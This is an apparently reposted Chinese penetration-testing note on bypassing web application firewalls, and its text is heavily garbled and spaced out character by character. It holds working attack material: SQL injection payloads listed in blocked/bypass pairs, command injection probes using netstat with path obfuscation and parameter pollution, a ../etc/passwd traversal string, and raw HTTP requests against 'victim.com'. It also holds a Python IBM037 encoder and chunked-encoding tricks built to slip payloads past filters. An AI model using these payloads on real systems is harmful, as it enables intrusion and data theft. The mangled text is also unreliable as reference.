[7606] 2021-05-18_经验分享渗透笔记之BypassWAF

文档创建者:s7ckTeam
浏览次数:5
最后更新:2025-01-17
2021-05-18_经验分享渗透笔记之BypassWAF   |   B y p a s s   W A F   g o d d e m o n   F 1 2 s e c   2 0 2 1 - 0 5 - 1 8   #   , 8 g o d d e m o n C S D N h t t p s : / / b l o g . c s d n . n e t / q q _ 3 3 9 4 2 0 4 0 ? s p m = 1 0 1 0 . 2 1 3 5 . 3 0 0 1 . 5 3 4 3 P a r t   1 W A F ( 1 ) c o o k i e C i t r i x , N e t s c a l e r , Y u n s u o   W A F , s a f e d o g ( 2 ) A n q u a n b a o   W A F , A m a z o n A W S   W A F ( 3 ) 使 使 N e t s c a l e r , B i g - I P ( 4 ) e g .   A p p r o a c h ,   W T S   W A F ( 5 ) W A F b o d y D o t D e f e n d e r , A r m o r , S i t e l o c k ( 6 ) W A F W e b K n i g h t , 3 6 0 W A F ) ( 7 ) W A F ( : ) W A F ( 1 ) G E T c o o k i e ( 2 ) c U R L u s e r - a g e n t ( 3 ) G E T W A F ( 4 ) .   "   o r   1 = 1   - -   - ( 5 ) . . / . . / . . / e t c / p a s s w d U R L ( 6 ) u r l ' o r   s l e e p 5 ( 7 ) 使 使 h t t p / 0 . 9 g e t h t t p / 0 . 9 p o s t ( 8 ) w a f ( 9 ) - f i n / r s t ( 1 0 ) - S Q L s t e p 1 : a n d ,   o r ,   u n i o n   :   p r e g _ m a t c h ( / ( a n d | o r | u n i o n ) / i ,   $ i d ) s t e p 2 :   a n d ,   o r ,   u n i o n ,   w h e r e s t e p 3 : :   a n d ,   o r ,   u n i o n ,   w h e r e   ,   l i m i t s t e p 4 : :   a n d ,   o r ,   u n i o n ,   w h e r e   , l i m i t   ,   g r o u p   b y ,   s e l e c t -   B l o c k e d :   u n i o n   s e l e c t   u s e r ,   p a s s w o r d   f r o m   u s e r s -   B y p a s s :   1   | |   ( s e l e c t   u s e r   f r o m   u s e r s   w h e r e   u s e r _ i d   =   1 )   =   ' a d m i n ' -   B l o c k e d :   1   | |   ( s e l e c t   u s e r   f r o m   u s e r s   w h e r e   u s e r _ i d   =   1 )   =   ' a d m i n ' -   B y p a s s :   1   | |   ( s e l e c t   u s e r   f r o m   u s e r s   l i m i t   1 )   =   ' a d m i n ' -   B l o c k e d :   1   | |   ( s e l e c t   u s e r   f r o m   u s e r s   l i m i t   1 )   =   ' a d m i n ' -   B y p a s s :   1   | |   ( s e l e c t   u s e r   f r o m   u s e r s   g r o u p   b y   u s e r _ i d   h a v i n g   u s e r _ i d   =   1 )   =   ' a d m i n ' -   B l o c k e d :   1   | |   ( s e l e c t   u s e r   f r o m   u s e r s   g r o u p   b y   u s e r _ i d   h a v i n g   u s e r _ i d   =   1 )   =   ' a d m i n ' -   B y p a s s :   1   | |   ( s e l e c t   s u b s t r ( g r o u p _ c o n c a t ( u s e r _ i d ) , 1 , 1 )   u s e r   f r o m   u s e r s   )   =   1
s t e p 5 : :   a n d ,   o r ,   u n i o n ,   w h e r e   , l i m i t   ,   g r o u p   b y   ,   s e l e c t s t e p 6 : :   a n d ,   o r ,   u n i o n ,   w h e r e   , l i m i t   ,   g r o u p   b y   ,   s e l e c t   ,   s t e p 7 : :   a n d ,   o r ,   u n i o n ,   w h e r e   , l i m i t   ,   g r o u p   b y   ,   s e l e c t , , h e x s t e p 8 : :   a n d ,   o r ,   u n i o n ,   w h e r e   , l i m i t   ,   g r o u p   b y   ,   s e l e c t , , h e x   ,   s u b s t r s t e p 9 : :   a n d ,   o r ,   u n i o n ,   w h e r e   , l i m i t   ,   g r o u p   b y   ,   s e l e c t , , h e x   ,   s u b s t r   , w h i t e   s p a c e B u r p b y p a s s w a f I P C o n t e n t - t y p e - - > w a f / h o s t - - >   W A F F Q D N p a t h i n f o - - > - - > - - > f u z z i n g P a t h O b f u s c a t i o n - - > - - > / g e t / ? i d = ; n e t s t a t % 2 0 - a n t - - > / g e t / / / ? i d = ; n e t s t a t % 2 0 - a n t   H T T P / 1 . 1 H P P   : / g e t / ? i d = ; n e t s t a t % 2 0 - a n t : / g e t / ? i d = ; n e t s t a t % 2 0 - a n t & i d = t e s t & i d = t e s t & i d = t e s t S p a c e E n c o d i n g ( ) : / g e t / ? i d = ; n e t s t a t % 2 0 - a n t u r l % u / g e t / ? i d = ; n e t s t a t % u 0 0 0 0 - a n t 1   w a f -   B l o c k e d :   1   | |   ( s e l e c t   s u b s t r ( g r u o p _ c o n c a t ( u s e r _ i d ) , 1 , 1 )   u s e r   f r o m   u s e r s )   =   1 -   B y p a s s :   1   | |   1   =   1   i n t o   o u t f i l e   ' r e s u l t . t x t ' -   B y p a s s :   1   | |   s u b s t r ( u s e r , 1 , 1 )   =   ' a ' -   B l o c k e d :   1   | |   ( s e l e c t   s u b s t r ( g r u o p _ c o n c a t ( u s e r _ i d ) , 1 , 1 )   u s e r   f r o m   u s e r s )   =   1 -   B y p a s s :   1   | |   u s e r _ i d   i s   n o t   n u l l -   B y p a s s :   1   | |   s u b s t r ( u s e r , 1 , 1 )   =   0 x 6 1 -   B y p a s s :   1   | |   s u b s t r ( u s e r , 1 , 1 )   =   u n h e x ( 6 1 ) -   B l o c k e d :   1   | |   s u b s t r ( u s e r , 1 , 1 )   =   u n h e x ( 6 1 ) -   B y p a s s :   1   | |   s u b s t r ( u s e r , 1 , 1 )   =   l o w e r ( c o n v ( 1 1 , 1 0 , 3 6 ) ) -   B l o c k e d :   1   | |   s u b s t r ( u s e r , 1 , 1 )   =   l o w e r ( c o n v ( 1 1 , 1 0 , 3 6 ) )   -   b u p a s s :   1   | |   l p a d ( u s e r , 7 , 1 ) -   B l o c k e d :   1   | |   l p a d ( u s e r , 7 , 1 )   -   B y p a s s :   1 % 0 b | | % 0 b l p a d ( u s e r , 7 , 1 ) P O S T   / s a m p l e . a s p x ? i n p u t 0 = s o m e t h i n g   H T T P / 1 . 1 H O S T :   v i c t i m . c o m C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ;   c h a r s e t = u t f - 8 C o n t e n t - L e n g t h :   4 1 i n p u t 1 = ' u n i o n   a l l   s e l e c t   *   f r o m   u s e r s - - i m p o r t   u r l l i b d e f   p a r a m E n c o d e ( p a r a m s = " " ,   c h a r s e t = " I B M 0 3 7 " ,   e n c o d e E q u a l S i g n = F a l s e ,   e n c o d e A m p e r s a n d = F a l s e ,   u r l d e c o d e I n p u t = T r u e ,   u r l e n c o d e O u t p u t = T r u e ) :         r e s u l t   =   " "         e q u a l S i g n   =   " = "         a m p e r s a n d   =   " & "         i f   e n c o d e E q u a l S i g n :               e q u a l S i g n   =   e q u a l S i g n . e n c o d e ( c h a r s e t )         i f   e n c o d e A m p e r s a n d :               a m p e r s a n d   =   a m p e r s a n d . e n c o d e ( c h a r s e t )         p a r a m s _ l i s t   =   p a r a m s . s p l i t ( " & " )
b y p a s s         p a r a m s _ l i s t   =   p a r a m s . s p l i t ( " & " )         f o r   p a r a m _ p a i r   i n   p a r a m s _ l i s t :               p a r a m ,   v a l u e   =   p a r a m _ p a i r . s p l i t ( " = " )               i f   u r l d e c o d e I n p u t :                     p a r a m   =   u r l l i b . u n q u o t e ( p a r a m ) . d e c o d e ( ' u t f 8 ' )                     v a l u e   =   u r l l i b . u n q u o t e ( v a l u e ) . d e c o d e ( ' u t f 8 ' )               p a r a m   =   p a r a m . e n c o d e ( c h a r s e t )               v a l u e   =   v a l u e . e n c o d e ( c h a r s e t )               i f   u r l e n c o d e O u t p u t :                     p a r a m   =   u r l l i b . q u o t e _ p l u s ( p a r a m )                     v a l u e   =   u r l l i b . q u o t e _ p l u s ( v a l u e )               i f   r e s u l t :                     r e s u l t   + =   a m p e r s a n d               r e s u l t   + =   p a r a m   +   e q u a l S i g n   +   v a l u e         r e t u r n   r e s u l t #   f o r   I I S p r i n t   p a r a m E n c o d e ( " i n p u t 1 = ' u n i o n   a l l   s e l e c t   *   f r o m   u s e r s - - " ) #   p r i n t s   % 8 9 % 9 5 % 9 7 % A 4 % A 3 % F 1 = % 7 D % A 4 % 9 5 % 8 9 % 9 6 % 9 5 % 4 0 % 8 1 % 9 3 % 9 3 % 4 0 % A 2 % 8 5 % 9 3 % 8 5 % 8 3 % A 3 % 4 0 % 5 C % 4 0 % 8 6 % 9 9 % 9 6 % 9 4 % 4 0 % A 4 % A 2 % 8 5 % 9 9 % A 2 % 6 0 % 6 0 P O S T   / s a m p l e . a s p x ? % 8 9 % 9 5 % 9 7 % A 4 % A 3 % F 0 = % A 2 % 9 6 % 9 4 % 8 5 % A 3 % 8 8 % 8 9 % 9 5 % 8 7   H T T P / 1 . 1 H O S T :   v i c t i m . c o m C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ;   c h a r s e t = i b m 0 3 7 C o n t e n t - L e n g t h :   1 1 5 % 8 9 % 9 5 % 9 7 % A 4 % A 3 % F 1 = % 7 D % A 4 % 9 5 % 8 9 % 9 6 % 9 5 % 4 0 % 8 1 % 9 3 % 9 3 % 4 0 % A 2 % 8 5 % 9 3 % 8 5 % 8 3 % A 3 % 4 0 % 5 C % 4 0 % 8 6 % 9 9 % 9 6 % 9 4 % 4 0 % A 4 % A 2 % 8 5 % 9 9 % A 2 % 6 0 % 6 0
2   c h u n k e d   w a f ( w a f ) b y p a s s b y p a s s b y p a s s w a f s q l / ! 8 0 0 0 0 a a a / > / ! 5 0 0 0 1 / C o n t e n t - D i s p o s i t i o n :     4 8 9 3 0 P O S T   / s a m p l e . a s p x ? i n p u t 0 = s o m e t h i n g   H T T P / 1 . 1 H O S T :   v i c t i m . c o m C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ;   c h a r s e t = u t f - 8 C o n t e n t - L e n g t h :   4 1 i n p u t 1 = ' u n i o n   a l l   s e l e c t   *   f r o m   u s e r s - - P O S T   / s a m p l e . a s p x ? i n p u t 0 = s o m e t h i n g   H T T P / 1 . 1 H O S T :   v i c t i m . c o m C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ;   c h a r s e t = u t f - 8 C o n t e n t - L e n g t h :   1 1 0 T r a n s f e r - E n c o d i n g :   c h u n k e d 5 ; i n p u t 4 ; 1 = ' u 5 ; n i o n   4 ; a l l   5 ; s e l e c 4 ; t   *   4 ; f r o m 5 ;   u s e r 3 ; s - - 0 o r d e r / * ! 8 0 0 0 0 a a a * / b y / * ! 8 0 0 0 0 a a a * / 1 6
      |   s q l           |   g e t s h e l l ~
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则